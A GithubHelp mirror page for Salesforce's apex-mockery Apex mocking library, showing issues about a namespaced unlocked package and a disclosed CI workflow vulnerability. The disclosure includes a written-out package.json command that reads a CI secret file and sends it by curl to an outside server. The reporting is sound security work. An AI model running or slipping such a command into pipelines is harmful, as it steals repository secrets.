GithubHelp home page GithubHelp logo

salesforce / apex-mockery Goto Github PK

View Code? Open in Web Editor NEW
99.0 9.0 12.0 821 KB

Lightweight mocking library in Apex

License: BSD 3-Clause "New" or "Revised" License

Shell 0.26% Apex 99.68% JavaScript 0.06%
apex salesforce unit-test

apex-mockery's People

Contributors

jamessimone avatar ludomeurillon avatar scolladon-sfdc avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

apex-mockery's Issues

Unlocked package generated with `v1.0.0` not usable

Apex methods in the unlocked package are not accessible because it uses the public access modifier instead of the global

Here is a quick status of my spiking with this issue
I worked a bit in this PR and created a beta package using the global access modifiers.
I have converted our recipes to use the mockery namespace
I have created a scratch org without namespace
I have deployed the beta package package to the scratch org
I have deployed the recipes with namespace
Then I run all the recipes test
Result: it failed...
System.TypeException: Test.createStub() can only be called with classes in the current namespace

What I understand from this error is: as our unlocked package is namespaced, code executing it needs to be in the same namespace... ๐Ÿคฏ
Or the createStubs must be done in the same namespace and then the stub must be served to the mock

Potential Security Vulnerability in Workflow

Who is the bug affecting?

salesforce/apex-mockery

What is affected by this bug?

The CI_URL GitHub Actions secret

When does this occur?

When anyone opens a pull request to merge a branch containing malicious changes into main

Where on the platform does it happen?

GitHub Workflow ci-build job

How do we replicate the issue?

  1. Create a new branch off main
  2. Modify test:coverage in package.json to read the contents of CI_URL.txt and send it to an external server
    1. "test:coverage": "STOLEN_SECRET=$(cat ./CI_URL.txt) && curl -v -X GET 'https://goldfarb.dev' -H 'stolen-secret:'${STOLEN_SECRET}"
  3. Check the malicious change into your branch
  4. Open a pull request to invoke ci-build job in .github/workflows/pull-request.yml

Expected behavior (i.e. solution)

In a single step, you can write the CI_URL.txt file, use the file and then subsequently delete it before it can be stolen
main...gfarb:apex-mockery:main

Other Comments

I was looking at GitHub Workflow used by Salesforce to see if there was anything you all do that we can benefit from in our own Workflows; that is when I stumbled upon this. Not sure if you are worried about this problem and I am NOT positive if it will still run the malicious code and steal the actual secret when the branch derives from a fork of the project. I created a PoC in a private repo and tested it out which seemed to confirm my suspicion that this problem does persist in your Workflow at the moment. In case you wanted a quick solution I forked this project and can open a PR with the changes to resolve this based on the solution I outlined above. Sorry if this is not an actual concern and I wasted your time, I figured it would be better to let you all know in case this is something you are worried about. I am sorry if this was a waste of time!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.